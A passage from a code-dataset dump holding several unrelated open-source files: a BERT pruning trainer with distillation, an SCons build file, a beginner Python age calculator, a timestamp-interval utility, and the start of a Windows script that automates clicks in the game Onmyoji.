elif step > (total_step - final_warmup * warmup_steps):\n threshold = final_threshold\n else:\n spars_warmup_steps = initial_warmup * warmup_steps\n spars_schedu_steps = (final_warmup + initial_warmup) * warmup_steps\n mul_coeff = 1 - (step - spars_warmup_steps) / (total_step - spars_schedu_steps)\n if linear:\n threshold = final_threshold + (initial_threshold - final_threshold) * (mul_coeff ** 1)\n else:\n threshold = final_threshold + (initial_threshold - final_threshold) * (mul_coeff ** 3)\n regu_lambda = final_lambda * threshold / final_threshold\n return threshold, regu_lambda\n\n@dataclass\nclass SMPTrainingArguments(TrainingArguments):\n mask_scores_learning_rate: float = field(\n default=1e-2,\n )\n initial_threshold: float = field(\n default=1.0,\n )\n final_threshold: float = field(\n default=0.7,\n )\n initial_warmup: int = field(\n default=1,\n )\n final_warmup: int = field(\n default=2,\n )\n\n pruning_method: str = field(\n default='topK',\n )\n mask_init: str = field(\n default='constant',\n )\n mask_scale: float = field(\n default=0.0,\n )\n regularization: Optional[str] = field(\n default=None,\n )\n final_lambda: float = field(\n default=0.0\n )\n global_topk: bool = field(\n default=False\n )\n global_topk_frequency_compute: int = field(\n default=1,\n )\n\n freeze_bert: bool = field(\n default=True,\n )\n\n threshold_warmup_steps: int = field(default=5000)\n\n warmup_threshold_step: Optional[int] = field(default=None)\n warmup_regu_step: Optional[int] = field(default=None)\n linear_threshold: bool = field(default=False)\n save_best_model: bool = field(default=False)\n\n save_mask: bool = field(default=False)\n\n temperature: float = field(default=2.0)\n alpha_distil: float = field(default=0.5)\n alpha_ce: float = field(default=0.5)\n\n magnitude_topk_threshold: bool = field(default=False)\n magnitude_topk_threshold_p: float = field(default=1.0)\n\n threshold_hold_step: int = field(default=0)\n\nclass SMPTrainer(Trainer):\n args: SMPTrainingArguments\n threshold = 1.0\n teacher_model = None\n regu_lambda = 0\n regu_trigger = False\n threshold_mem = None\n\n log_regu_loss = 0\n log_cls_loss = 0\n\n use_qa = False\n\n def set_teacher_model(self, teacher_model):\n self.teacher_model = teacher_model.to(self.args.device)\n\n def create_optimizer(self):\n \"\"\"\n Setup the optimizer.\n\n We provide a reasonable default that works well. If you want to use something else, you can pass a tuple in the\n Trainer's init through :obj:`optimizers`, or subclass and override this method in a subclass.\n \"\"\"\n if self.optimizer is None:\n no_decay = [\"bias\", \"LayerNorm.weight\"]\n if self.args.freeze_bert:\n for n, p in self.model.named_parameters():\n if 'mask_score' not in n:\n p.requires_grad = False\n\n optimizer_grouped_parameters = [\n {\n \"params\": [p for n, p in self.model.named_parameters() if \"mask_score\" in n and p.requires_grad],\n \"lr\": self.args.mask_scores_learning_rate,\n },\n {\n \"params\": [\n p\n for n, p in self.model.named_parameters()\n if \"mask_score\" not in n and p.requires_grad and not any(nd in n for nd in no_decay)\n ],\n \"lr\": self.args.learning_rate,\n \"weight_decay\": self.args.weight_decay,\n },\n {\n \"params\": [\n p\n for n, p in self.model.named_parameters()\n if \"mask_score\" not in n and p.requires_grad and any(nd in n for nd in no_decay)\n ],\n \"lr\": self.args.learning_rate,\n \"weight_decay\": 0.0,\n },\n ]\n\n self.optimizer = AdamW(optimizer_grouped_parameters, lr=self.args.learning_rate, eps=self.args.adam_epsilon) # type: ignore\n return self.optimizer\n\n def prediction_step(\n self,\n model,\n inputs,\n prediction_loss_only,\n ignore_keys,\n ):\n\n\n has_labels = all(inputs.get(k) is not None for k in self.label_names)\n inputs = self._prepare_inputs(inputs)\n if ignore_keys is None:\n if hasattr(self.model, \"config\"):\n ignore_keys = getattr(self.model.config, \"keys_to_ignore_at_inference\", [])\n else:\n ignore_keys = []\n\n # labels may be popped when computing the loss (label smoothing for instance) so we grab them first.\n if has_labels:\n labels = nested_detach(tuple(inputs.get(name) for name in self.label_names))\n if len(labels) == 1:\n labels = labels[0]\n else:\n labels = None\n\n if self.args.global_topk:\n inputs['threshold'] = self.threshold_mem\n else:\n inputs['threshold'] = self.threshold\n\n with torch.no_grad():\n if has_labels:\n loss, outputs = self.compute_loss(model, inputs, return_outputs=True)\n loss = loss.mean().detach()\n if isinstance(outputs, dict):\n logits = tuple(v for k, v in outputs.items() if k not in ignore_keys + [\"loss\"])\n else:\n logits = outputs[1:]\n else:\n loss = None\n outputs = model(**inputs)\n if isinstance(outputs, dict):\n logits = tuple(v for k, v in outputs.items() if k not in ignore_keys)\n else:\n logits = outputs\n # TODO: this needs to be fixed and made cleaner later.\n if self.args.past_index >= 0:\n self._past = outputs[self.args.past_index - 1]\n\n if prediction_loss_only:\n return (loss, None, None)\n\n logits = nested_detach(logits)\n if len(logits) == 1:\n logits = logits[0]\n\n return (loss, logits, labels)\n\n def training_step(self, model, inputs) -> torch.Tensor:\n \"\"\"\n Perform a training step on a batch of inputs.\n\n Subclass and override to inject custom behavior.\n\n Args:\n model (:obj:`nn.Module`):\n The model to train.\n inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):\n The inputs and targets of the model.\n\n The dictionary will be unpacked before being fed to the model. Most models expect the targets under the\n argument :obj:`labels`. Check your model's documentation for all accepted arguments.\n\n Return:\n :obj:`torch.Tensor`: The tensor with training loss on this batch.\n \"\"\"\n model.train()\n\n inputs = self._prepare_inputs(inputs)\n\n if self.args.max_steps < 0:\n import math\n train_dataloader = self.get_train_dataloader()\n num_update_steps_per_epoch = len(train_dataloader) // self.args.gradient_accumulation_steps\n num_update_steps_per_epoch = max(num_update_steps_per_epoch, 1)\n max_steps = math.ceil(self.args.num_train_epochs * num_update_steps_per_epoch)\n self.args.max_steps = max_steps\n del train_dataloader\n num_training_steps= self.args.max_steps\n\n threshold, regu_lambda = schedule_threshold(\n step=self.state.global_step,\n total_step=num_training_steps,\n warmup_steps=self.args.get_warmup_steps(num_training_steps),\n final_threshold=self.args.final_threshold,\n initial_threshold=self.args.initial_threshold,\n final_warmup=self.args.final_warmup,\n initial_warmup=self.args.initial_warmup,\n final_lambda=self.args.final_lambda,\n )\n\n\n if 'topK' in self.args.pruning_method:\n if self.args.warmup_threshold_step is not None:\n step = self.state.global_step\n if self.args.threshold_hold_step > 0:\n step = step // (self.args.threshold_hold_step + 1)\n final_threshold = self.args.final_threshold\n initial_threshold = self.args.initial_threshold\n if step > self.args.warmup_threshold_step:\n threshold = final_threshold\n else:\n spars_warmup_steps = 0\n spars_schedu_steps = self.args.warmup_threshold_step\n mul_coeff = 1 - (step - spars_warmup_steps) / spars_schedu_steps\n if self.args.linear_threshold:\n threshold = final_threshold + (initial_threshold - final_threshold) * (mul_coeff ** 1)\n else:\n threshold = final_threshold + (initial_threshold - final_threshold) * (mul_coeff ** 3)\n if self.args.warmup_regu_step:\n final_threshold = 0.1\n initial_threshold = 0\n if step > self.args.warmup_regu_step:\n _threshold = final_threshold\n else:\n spars_warmup_steps = 0\n spars_schedu_steps = self.args.warmup_regu_step\n mul_coeff = 1 - (step - spars_warmup_steps) / spars_schedu_steps\n if self.args.linear_threshold:\n _threshold = final_threshold + (initial_threshold - final_threshold) * (mul_coeff ** 1)\n else:\n _threshold = final_threshold + (initial_threshold - final_threshold) * (mul_coeff ** 3)\n regu_lambda = self.args.final_lambda * _threshold / final_threshold\n else:\n regu_warmup_steps = self.args.get_warmup_steps(num_training_steps)\n _, regu_lambda = schedule_threshold(\n step=self.state.global_step,\n total_step=num_training_steps,\n warmup_steps=regu_warmup_steps,\n final_threshold=0.1,\n initial_threshold=0,\n final_warmup=self.args.final_warmup,\n initial_warmup=self.args.initial_warmup,\n final_lambda=self.args.final_lambda,\n )\n else:\n threshold, _ = schedule_threshold(\n step=self.state.global_step,\n total_step=num_training_steps,\n warmup_steps=self.args.threshold_warmup_steps,\n final_threshold=self.args.final_threshold,\n initial_threshold=self.args.initial_threshold,\n final_warmup=self.args.final_warmup,\n initial_warmup=self.args.initial_warmup,\n final_lambda=self.args.final_lambda,\n linear=self.args.linear_threshold,\n )\n\n _, regu_lambda = schedule_threshold(\n step=self.state.global_step,\n total_step=num_training_steps,\n warmup_steps=self.args.get_warmup_steps(num_training_steps),\n final_threshold=0.1,\n initial_threshold=0,\n final_warmup=self.args.final_warmup,\n initial_warmup=self.args.initial_warmup,\n final_lambda=self.args.final_lambda,\n )\n\n self.threshold = threshold\n\n if self.args.magnitude_topk_threshold:\n self.set_magnitude_topk_threshold(model, threshold)\n\n inputs['threshold'] = threshold\n\n if self.teacher_model is not None:\n if self.use_qa:\n with torch.no_grad():\n start_logits_tea, end_logits_tea = self.teacher_model(\n input_ids=inputs[\"input_ids\"],\n token_type_ids=inputs[\"token_type_ids\"],\n attention_mask=inputs[\"attention_mask\"],\n threshold=1.0,\n )\n\n loss, outputs = self.compute_loss(model, inputs, return_outputs=True)\n start_logits_stu, end_logits_stu = outputs[1:]\n\n loss_start = (\n nn.functional.kl_div(\n input=nn.functional.log_softmax(start_logits_stu / self.args.temperature, dim=-1),\n target=nn.functional.softmax(start_logits_tea / self.args.temperature, dim=-1),\n reduction=\"batchmean\",\n )\n * (self.args.temperature ** 2)\n )\n loss_end = (\n nn.functional.kl_div(\n input=nn.functional.log_softmax(end_logits_stu / self.args.temperature, dim=-1),\n target=nn.functional.softmax(end_logits_tea / self.args.temperature, dim=-1),\n reduction=\"batchmean\",\n )\n * (self.args.temperature ** 2)\n )\n loss_logits = (loss_start + loss_end) / 2.0\n\n loss = self.args.alpha_distil * loss_logits + self.args.alpha_ce * loss\n else:\n loss, outputs = self.compute_loss(model, inputs, return_outputs=True)\n logits_stu = outputs[1:][0]\n\n with torch.no_grad():\n logits_tea = self.teacher_model(\n input_ids=inputs[\"input_ids\"],\n token_type_ids=inputs[\"token_type_ids\"],\n attention_mask=inputs[\"attention_mask\"],\n threshold=1.0,\n )[0]\n\n loss_logits = (\n nn.functional.kl_div(\n input=nn.functional.log_softmax(logits_stu / self.args.temperature, dim=-1),\n target=nn.functional.softmax(logits_tea / self.args.temperature, dim=-1),\n reduction=\"batchmean\",\n )\n * (self.args.temperature ** 2)\n )\n\n loss = self.args.alpha_distil * loss_logits + self.args.alpha_ce * loss\n else:\n loss = self.compute_loss(model, inputs)\n\n self.log_cls_loss += loss.item()\n\n # Regularization\n if self.args.regularization is not None:\n regu_ = regularization(model=model, mode=self.args.regularization)\n self.regu_lambda = regu_lambda\n self.log_regu_loss += regu_.item()\n loss = loss + regu_lambda * regu_\n\n if self.args.n_gpu > 1:\n loss = loss.mean() # mean() to average on multi-gpu parallel training\n\n if self.args.gradient_accumulation_steps > 1 and not self.deepspeed:\n # deepspeed handles loss scaling by gradient_accumulation_steps in its `backward`\n loss = loss / self.args.gradient_accumulation_steps\n\n loss.backward()\n\n return loss.detach()\n\n def set_magnitude_topk_threshold(self, model, threshold):\n with torch.no_grad():\n mag_mask_scores = []\n for i, layer in enumerate(model.bert.encoder.layer):\n p = 1 / self.args.magnitude_topk_threshold_p\n mag_mask_scores.append([\n (p * layer.attention.self.query.mask_scores).sigmoid().mean().item(),\n (p * layer.attention.self.key.mask_scores).sigmoid().mean().item(),\n (p * layer.attention.self.value.mask_scores).sigmoid().mean().item(),\n (p * layer.attention.output.dense.mask_scores).sigmoid().mean().item(),\n (p * layer.intermediate.dense.mask_scores).sigmoid().mean().item(),\n (p * layer.output.dense.mask_scores).sigmoid().mean().item(),\n ])\n\n sum_mag_mask_scores = [sum(j[i] for j in mag_mask_scores) for i in range(len(mag_mask_scores[0]))]\n\n t = threshold * len(mag_mask_scores)\n for i, layer in enumerate(model.bert.encoder.layer):\n mag_mask_score = mag_mask_scores[i]\n layer.attention.self.query.local_threshold = mag_mask_score[0] / sum_mag_mask_scores[0] * t if sum_mag_mask_scores[0] != 0 else 0\n layer.attention.self.key.local_threshold = mag_mask_score[1] / sum_mag_mask_scores[1] * t if sum_mag_mask_scores[1] != 0 else 0\n layer.attention.self.value.local_threshold = mag_mask_score[2] / sum_mag_mask_scores[2] * t if sum_mag_mask_scores[2] != 0 else 0\n layer.attention.output.dense.local_threshold = mag_mask_score[3] / sum_mag_mask_scores[3] * t if sum_mag_mask_scores[3] != 0 else 0\n layer.intermediate.dense.local_threshold = mag_mask_score[4] / sum_mag_mask_scores[4] * t if sum_mag_mask_scores[4] != 0 else 0\n layer.output.dense.local_threshold = mag_mask_score[5] / sum_mag_mask_scores[5] * t if sum_mag_mask_scores[5] != 0 else 0\n\n def _maybe_log_save_evaluate(self, tr_loss, model, trial, epoch, ignore_keys_for_eval):\n if self.control.should_log:\n logs: Dict[str, float] = {}\n\n # all_gather + mean() to get average loss over all processes\n tr_loss_scalar = self._nested_gather(tr_loss).mean().item() # type: ignore\n\n # reset tr_loss to zero\n tr_loss -= tr_loss\n\n self.log_regu_loss /= self.args.gradient_accumulation_steps\n self.log_cls_loss /= self.args.gradient_accumulation_steps\n\n logs[\"loss\"] = round(tr_loss_scalar / (self.state.global_step - self._globalstep_last_logged), 4)\n logs[\"regu_loss\"] = round(self.log_regu_loss / (self.state.global_step - self._globalstep_last_logged), 4)\n logs[\"cls_loss\"] = round(self.log_cls_loss / (self.state.global_step - self._globalstep_last_logged), 4)\n logs[\"learning_rate\"] = self._get_learning_rate()\n logs['threshold'] = self.threshold\n logs['regu_lambda'] = self.regu_lambda\n\n if self.args.magnitude_topk_threshold or self.args.global_topk:\n for i, layer in enumerate(model.bert.encoder.layer):\n logs[f'layer{i}.query'] = layer.attention.self.query.local_threshold\n logs[f'layer{i}.key'] = layer.attention.self.key.local_threshold\n logs[f'layer{i}.value'] = layer.attention.self.value.local_threshold\n logs[f'layer{i}.output'] = layer.attention.output.dense.local_threshold\n logs[f'layer{i}.int'] = layer.intermediate.dense.local_threshold\n logs[f'layer{i}.dense'] = layer.output.dense.local_threshold\n\n self.log_regu_loss = 0\n self.log_cls_loss = 0\n\n for name, param in model.named_parameters():\n if \"encoder\" not in name:\n continue\n\n self._total_loss_scalar += tr_loss_scalar\n self._globalstep_last_logged = self.state.global_step\n self.store_flos()\n\n self.log(logs)\n\n metrics = None\n if self.control.should_evaluate:\n metrics = self.evaluate(ignore_keys=ignore_keys_for_eval)\n self._report_to_hp_search(trial, epoch, metrics)\n\n if self.control.should_save and self.args.save_mask:\n run_dir = self.args.output_dir\n name = f\"mask-{self.state.global_step}.pt\"\n save_path = os.path.join(run_dir, name)\n out = {}\n for name, param in model.named_parameters():\n if 'mask_score' in name:\n mask = TopKBinarizer.apply(param, self.threshold).bool().cpu().clone()\n out[name] = mask\n torch.save(out, save_path)\n\n if self.control.should_save and \\\n ((abs(self.threshold - self.args.final_threshold) < 0.01 and self.args.pruning_method == 'topK') or\n (self.regu_trigger and self.args.pruning_method == 'sigmoied_threshold')):\n self._save_checkpoint(model, trial, metrics=metrics)\n self.control = self.callback_handler.on_save(self.args, self.state, self.control)\n\nclass QASMPTrainer(SMPTrainer):\n def __init__(self, *args, eval_examples=None, post_process_function=None, **kwargs):\n super().__init__(*args, **kwargs)\n self.eval_examples = eval_examples\n self.post_process_function = post_process_function\n self.use_qa = True\n\n def evaluate(self, eval_dataset=None, eval_examples=None, ignore_keys=None, metric_key_prefix: str = \"eval\"):\n eval_dataset = self.eval_dataset if eval_dataset is None else eval_dataset\n eval_dataloader = self.get_eval_dataloader(eval_dataset)\n eval_examples = self.eval_examples if eval_examples is None else eval_examples\n\n # Temporarily disable metric computation, we will do it in the loop here.\n compute_metrics = self.compute_metrics\n self.compute_metrics = None\n eval_loop = self.prediction_loop if self.args.use_legacy_prediction_loop else self.evaluation_loop\n try:\n output = eval_loop(\n eval_dataloader,\n description=\"Evaluation\",\n # No point gathering the predictions if there are no metrics, otherwise we defer to\n # self.args.prediction_loss_only\n prediction_loss_only=True if compute_metrics is None else None,\n ignore_keys=ignore_keys,\n )\n finally:\n self.compute_metrics = compute_metrics\n\n if self.post_process_function is not None and self.compute_metrics is not None:\n eval_preds = self.post_process_function(eval_examples, eval_dataset, output.predictions)\n metrics = self.compute_metrics(eval_preds)\n\n # Prefix all keys with metric_key_prefix + '_'\n for key in list(metrics.keys()):\n if not key.startswith(f\"{metric_key_prefix}_\"):\n metrics[f\"{metric_key_prefix}_{key}\"] = metrics.pop(key)\n\n self.log(metrics)\n else:\n metrics = {}\n\n if self.args.tpu_metrics_debug or self.args.debug:\n # tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.)\n xm.master_print(met.metrics_report())\n\n self.control = self.callback_handler.on_evaluate(self.args, self.state, self.control, metrics)\n return metrics\n\n def predict(self, predict_dataset, predict_examples, ignore_keys=None, metric_key_prefix: str = \"test\"):\n predict_dataloader = self.get_test_dataloader(predict_dataset)\n\n # Temporarily disable metric computation, we will do it in the loop here.\n compute_metrics = self.compute_metrics\n self.compute_metrics = None\n eval_loop = self.prediction_loop if self.args.use_legacy_prediction_loop else self.evaluation_loop\n try:\n output = eval_loop(\n predict_dataloader,\n description=\"Prediction\",\n # No point gathering the predictions if there are no metrics, otherwise we defer to\n # self.args.prediction_loss_only\n prediction_loss_only=True if compute_metrics is None else None,\n ignore_keys=ignore_keys,\n )\n finally:\n self.compute_metrics = compute_metrics\n\n if self.post_process_function is None or self.compute_metrics is None:\n return output\n\n predictions = self.post_process_function(predict_examples, predict_dataset, output.predictions, \"predict\")\n metrics = self.compute_metrics(predictions)\n\n # Prefix all keys with metric_key_prefix + '_'\n for key in list(metrics.keys()):\n if not key.startswith(f\"{metric_key_prefix}_\"):\n metrics[f\"{metric_key_prefix}_{key}\"] = metrics.pop(key)\n\n return PredictionOutput(predictions=predictions.predictions, label_ids=predictions.label_ids, metrics=metrics)\n","repo_name":"kongds/SMP","sub_path":"smp_trainer.py","file_name":"smp_trainer.py","file_ext":"py","file_size_in_byte":25686,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"75019207235","text":"import os\n\nVariantDir('build', 'tests', duplicate=False)\nenv = Environment(\n\tCPPPATH=['./include', './doctest/doctest'],\n\tCXXFLAGS='-g -Wall -std=c++17'\n)\nenv['ENV']['TERM'] = os.environ['TERM'] # Colored output\n\nenv.Program( \"test\", [ Glob(\"build/*.cc\") ] )\n\nSConscript('viewer/SConscript')\n","repo_name":"samfromcadott/brutus","sub_path":"SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"10144653266","text":"import datetime\n\nprint(\"어서오세요.\")\n# 성명을 입력 받아서 user_name 변수에 저장한다.\nuser_name = input(\"성명을 입력 하세요 >> \")\n# 입력 된 성명을 출력 한다.\nprint(\"%s님 안녕하세요\" %user_name)\n# 생년을 입력 받는다.\nbirth_year = int(input(\"생년을 입력 하세요(예: 1991) >> \"))\n# 현재 날짜를 str_today 변수에 저장한다.\nstr_today = str(datetime.date.today())\n# 현재 날짜에서 연도만 추출한다.\nnow_year = int(str_today.split('-')[0])\n# 현재 년도에서 생년을 빼면 나이가 된다.\nage = now_year-birth_year\n# 현재 연도와 사용자의 나이를 출력한다.\nprint(\"%s님은 %d년 현재 %d세입니다. \\n\" %(user_name, now_year, age))\n# 제어문을 이용해서 미성년자인지 성인인지 구분한다.\nif(age < 19) :\n print(\"%s님은 미성년자입니다.\" %user_name)\nelse :\n print(\"%s님은 성인입니다.\" %user_name)\n","repo_name":"comstudy21joon/python","sub_path":"ch04_operator_if_while/ch04_pre_example.py","file_name":"ch04_pre_example.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40874347089","text":"#!/usr/bin/env python3\n\n\"\"\"\nCreated on 16 Mar 2017\n\n@author: Bruno Beloff (bruno.beloff@southcoastscience.com)\n\nDESCRIPTION\nThe sample_interval utility is used to discover the jitter present in a data stream.\n\nInput data must in the form of a JSON document. A command parameter specifies the path to the node within\nthe document that is to be measured. The node must represent time as an ISO 8601 localised date / time. The output of\nthe sample_interval utility includes the date / time value, and the time difference from the preceding value\nin seconds.\n\nSYNOPSIS\nsample_interval.py [-p PRECISION] [-v] [PATH]\n\nEXAMPLES\nosio_topic_history.py -m1 /orgs/south-coast-science-demo/brighton/loc/1/gases | sample_interval.py -p3 rec\n\nDOCUMENT EXAMPLE - INPUT\n{\"tag\": \"scs-bgx-401\", \"rec\": \"2018-03-27T09:54:41.042+00:00\", \"val\": {\n\"NO2\": {\"weV\": 0.29563, \"aeV\": 0.280879, \"weC\": 0.009569, \"cnc\": 61.0},\n\"Ox\": {\"weV\": 0.406819, \"aeV\": 0.387443, \"weC\": -0.010706, \"cnc\": 34.7},\n\"NO\": {\"weV\": 0.319692, \"aeV\": 0.292129, \"weC\": 0.028952, \"cnc\": 165.5},\n\"CO\": {\"weV\": 0.395819, \"aeV\": 0.289317, \"weC\": 0.113108, \"cnc\": 311.3},\n\"sht\": {\"hmd\": 82.4, \"tmp\": 12.6}}}\n\nDOCUMENT EXAMPLE - OUTPUT\n{\"time\": \"2018-03-27T10:14:51.028+00:00\", \"diff\": 9.987}\n\"\"\"\n\nimport sys\n\nfrom scs_analysis.cmd.cmd_sample_interval import CmdSampleInterval\n\nfrom scs_core.data.interval import Interval\nfrom scs_core.data.json import JSONify\nfrom scs_core.data.localized_datetime import LocalizedDatetime\nfrom scs_core.data.path_dict import PathDict\n\n\n# --------------------------------------------------------------------------------------------------------------------\n\nif __name__ == '__main__':\n\n # ----------------------------------------------------------------------------------------------------------------\n # cmd...\n\n cmd = CmdSampleInterval()\n\n if cmd.verbose:\n print(\"sample_interval: %s\" % cmd, file=sys.stderr)\n sys.stderr.flush()\n\n\n try:\n # ------------------------------------------------------------------------------------------------------------\n # run...\n\n prev_time = None\n\n for line in sys.stdin:\n if cmd.verbose:\n print(line, file=sys.stderr)\n\n sample_datum = PathDict.construct_from_jstr(line)\n\n if sample_datum is None:\n break\n\n time = LocalizedDatetime.construct_from_iso8601(sample_datum.node(cmd.path))\n\n interval = Interval.construct(prev_time, time, cmd.precision)\n print(JSONify.dumps(interval))\n\n prev_time = time\n\n\n # ----------------------------------------------------------------------------------------------------------------\n # end...\n\n except KeyboardInterrupt:\n if cmd.verbose:\n print(\"sample_interval: KeyboardInterrupt\", file=sys.stderr)\n","repo_name":"seoss/scs_analysis","sub_path":"src/scs_analysis/sample_interval.py","file_name":"sample_interval.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"26366068937","text":"# coding=utf-8\n\nimport time\nimport win32api, win32gui, win32con, win32gui, win32ui\nfrom ctypes import *\nimport numpy as np\nimport random\nimport cv2\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nfrom datetime import datetime\nimport pyautogui\n\ndef move_cursor(x, y):\n windll.user32.SetCursorPos(x, y)\n\ndef cursor_left_click():\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN|win32con.MOUSEEVENTF_LEFTUP, 0, 0)\n\ndef get_cursor_position():\n return win32gui.GetCursorPos()\n\ndef get_child_windows(parent): \n ''' \n 获得parent的所有子窗口句柄\n 返回子窗口句柄列表\n ''' \n if not parent: \n return \n hwndChildList = [] \n win32gui.EnumChildWindows(parent, lambda hwnd, param: param.append(hwnd), hwndChildList) \n return hwndChildList \n\ndef get_hwnd_of_onmeji():\n hwnd_of_blue_stacks = win32gui.FindWindow(0, u'BlueStacks')\n hwnds = get_child_windows(hwnd_of_blue_stacks)\n hwnd = 0\n for h in hwnds:\n text = win32gui.GetWindowText(h)\n if text == u\"_ctl.Window\":\n hwnd = h\n break \n return hwnd\n\n\ndef window_capture(filename):\n hwnd = 0 # 窗口的编号,0号表示当前活跃窗口\n # 根据窗口句柄获取窗口的设备上下文DC(Divice Context)\n hwndDC = win32gui.GetWindowDC(hwnd)\n # 根据窗口的DC获取mfcDC\n mfcDC = win32ui.CreateDCFromHandle(hwndDC)\n # mfcDC创建可兼容的DC\n saveDC = mfcDC.CreateCompatibleDC()\n # 创建bigmap准备保存图片\n saveBitMap = win32ui.CreateBitmap()\n # 获取监控器信息\n MoniterDev = win32api.EnumDisplayMonitors(None, None)\n w = MoniterDev[0][2][2]\n h = MoniterDev[0][2][3]\n # print w,h   #图片大小\n # 为bitmap开辟空间\n saveBitMap.CreateCompatibleBitmap(mfcDC, w, h)\n # 高度saveDC,将截图保存到saveBitmap中\n saveDC.SelectObject(saveBitMap)\n # 截取从左上角(0,0)长宽为(w,h)的图片\n saveDC.BitBlt((0, 0), (w, h), mfcDC, (0, 0), win32con.SRCCOPY)\n saveBitMap.SaveBitmapFile(saveDC, filename)\n\n\n\ndef auto_get_sushi():\n onmeji_hwnd = get_hwnd_of_onmeji()\n left, top, right, bottom = win32gui.GetWindowRect(onmeji_hwnd)\n \n time.sleep(10)\n # 阴阳寮相对坐标\n yyl_left = left + 468\n yyl_top = top + 730\n # 移动鼠标单击\n move_cursor(yyl_left, yyl_top)\n cursor_left_click()\n\n time.sleep(10)\n\n # 打开结界\n jj_left = left + 1110\n jj_top = top + 690\n move_cursor(jj_left, jj_top)\n cursor_left_click()\n\n time.sleep(10)\n\n # 打开寿司盒\n sushi_left = left + 1085\n sushi_top = top + 526\n move_cursor(sushi_left, sushi_top)\n cursor_left_click()\n\n time.sleep(10)\n\n # 把寿司拉到最大\n max_sushi_left = left + 1050\n max_sushi_top = top + 500\n move_cursor(max_sushi_left, max_sushi_top)\n cursor_left_click()\n\n time.sleep(10)\n\n # 取出寿司\n get_sushi_left = left + 730\n get_sushi_top = top + 620\n move_cursor(get_sushi_left, get_sushi_top)\n cursor_left_click()\n \n time.sleep(10)\n\n # 随机点击\n random_left = left + random.randint(100, 300)\n random_top = top + random.randint(300, 700)\n move_cursor(random_left, random_top)\n cursor_left_click()\n\n time.sleep(10)\n\n # 退出寿司盒\n exit_sushi_left = left + 1125\n exit_sushi_top = top + 200\n move_cursor(exit_sushi_left, exit_sushi_top)\n cursor_left_click()\n\n time.sleep(10)\n\n # 退出结界\n exit_jj_left = left + 60\n exit_jj_top = top + 60\n move_cursor(exit_jj_left, exit_jj_top)\n cursor_left_click()\n\n time.sleep(30)\n\n # 退出阴阳寮\n exit_yyl_left = left + 1325\n exit_yyl_top = top + 95\n move_cursor(exit_yyl_left, exit_yyl_top)\n cursor_left_click()\n\n time.sleep(10)\n\ndef auto_receive_sushi():\n onmeji_hwnd = get_hwnd_of_onmeji()\n left, top, right, bottom = win32gui.GetWindowRect(onmeji_hwnd)\n\n time.sleep(10)\n # 领取体力\n gy_left = left + 865\n gy_top = top + 560\n move_cursor(gy_left, gy_top)\n cursor_left_click()\n\ndef auto_wish():\n onmeji_hwnd = get_hwnd_of_onmeji()\n left, top, right, bottom = win32gui.GetWindowRect(onmeji_hwnd)\n \n time.sleep(10)\n # 阴阳寮相对坐标\n yyl_left = left + 468\n yyl_top = top + 730\n # 移动鼠标单击\n move_cursor(yyl_left, yyl_top)\n cursor_left_click()\n\n time.sleep(10)\n \n # 点击祈愿\n wish_left = left + 1370\n wish_top = top + 360\n move_cursor(wish_left, wish_top)\n cursor_left_click()\n time.sleep(10)\n\n # 点击碎片\n sp_left = left + 1104\n sp_top = top + 708\n move_cursor(sp_left, sp_top)\n cursor_left_click()\n time.sleep(10)\n\n # 选卡\n # 截图\n filename = \"wish.jpg\"\n window_capture(filename)\n # 读取截图文件\n srcimg = cv2.imread(filename)\n # 读取目标文件\n target_img = cv2.imread(\"want.jpg\")\n target_img_gray = cv2.cvtColor(target_img, cv2.cv2.COLOR_BGR2GRAY)\n src_img_gray = cv2.cvtColor(srcimg, cv2.cv2.COLOR_BGR2GRAY)\n w= target_img.shape[0]\n h = target_img.shape[1]\n res = cv2.matchTemplate(src_img_gray, target_img_gray, cv2.TM_CCOEFF_NORMED)\n threshold = 0.8\n loc = np.where(res >= threshold)\n\n drag_left = left + 716\n drag_top = top + 680\n i = 1\n while len(loc[0]) == 0 and len(loc[1]) == 0 and i <= 5:\n move_cursor(drag_left, drag_top)\n pyautogui.dragTo(left + 810, top + 180, 2, button='left')\n move_cursor(drag_left, drag_top)\n window_capture(filename)\n # 读取截图文件\n srcimg = cv2.imread(filename)\n src_img_gray = cv2.cvtColor(srcimg, cv2.cv2.COLOR_BGR2GRAY)\n res = cv2.matchTemplate(src_img_gray, target_img_gray, cv2.TM_CCOEFF_NORMED)\n loc = np.where(res >= threshold)\n i = i + 1\n print(i)\n\n if len(loc[0]) == 0 or len(loc[1]) == 0:\n pass\n # 找到要祈愿的卡\n move_cursor(int(loc[1][0]) + random.randint(20, w - 50), int(loc[0][0]) + random.randint(20, h - 50))\n cursor_left_click()\n \n time.sleep(10)\n\n # 确定\n move_cursor(left+868, top+480)\n cursor_left_click()\n\n time.sleep(10)\n\n # 退出\n move_cursor(left+1322, left+94)\n cursor_left_click()\n time.sleep(10)\n\n # for pt in zip(*loc[::-1]): \n # cv2.rectangle(srcimg, pt, (pt[0] + w, pt[1] + h), (7,249,151), 2)\n # cv2.imshow('Detected',srcimg)\n # cv2.waitKey (0)\n\n\n\n # 解决弹窗 边缘ob\n # random_left = left + random.randint(50, 100)\n # random_top = top + random.randint(50, 300)\n # move_cursor(random_left, random_top)\n # cursor_left_click()\n\n time.sleep(10)\n\n# 刷新\n# 实际上就是先进入町中然后再进入庭院\n# 可以刷新人物位置 刷新签到等\ndef auto_refresh():\n onmeji_hwnd = get_hwnd_of_onmeji()\n left, top, right, bottom = win32gui.GetWindowRect(onmeji_hwnd)\n time.sleep(10)\n\n refresh_left = left + 850\n refresh_top = top + 329\n move_cursor(refresh_left, refresh_top)\n cursor_left_click()\n\n time.sleep(30)\n\n exit_left = left + 1200\n exit_top = top + 300\n move_cursor(exit_left, exit_top)\n cursor_left_click()\n\n time.sleep(10)\n\n\n# 自动签到\ndef auto_check():\n onmeji_hwnd = 